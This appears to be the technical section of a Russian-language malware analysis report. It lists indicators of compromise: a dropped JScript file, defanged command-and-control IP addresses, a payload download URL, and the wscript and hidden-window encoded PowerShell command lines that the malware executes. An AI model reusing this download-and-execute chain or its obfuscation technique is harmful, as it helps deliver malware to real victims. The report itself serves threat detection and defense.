Техническая информация
- %ALLUSERSPROFILE%\misrepresentation.js
- '12#.#6.160.221':80
- '19#.#21.17.92':80
- '19#.#21.17.68':80
- '15#.#36.14.179':80
- http://19#.#21.17.68/9Cm9EW/uWz35D
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\misrepresentation.js" ticklenburg polyidrosis bloodthirstierProjects
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encodedcommand "JAB0AHUAcgB0AGwAZQByAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBPAFEAQQB1AEEARABFAEEATgBnAEEAeQBBAEMANABBAE0AZwBBAHcAQQBEAFkAQQBMAGcAQQB5AEEA... (со скрытым окном)
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\misrepresentation.js" ticklenburg polyidrosis bloodthirstierProjects (со скрытым окном)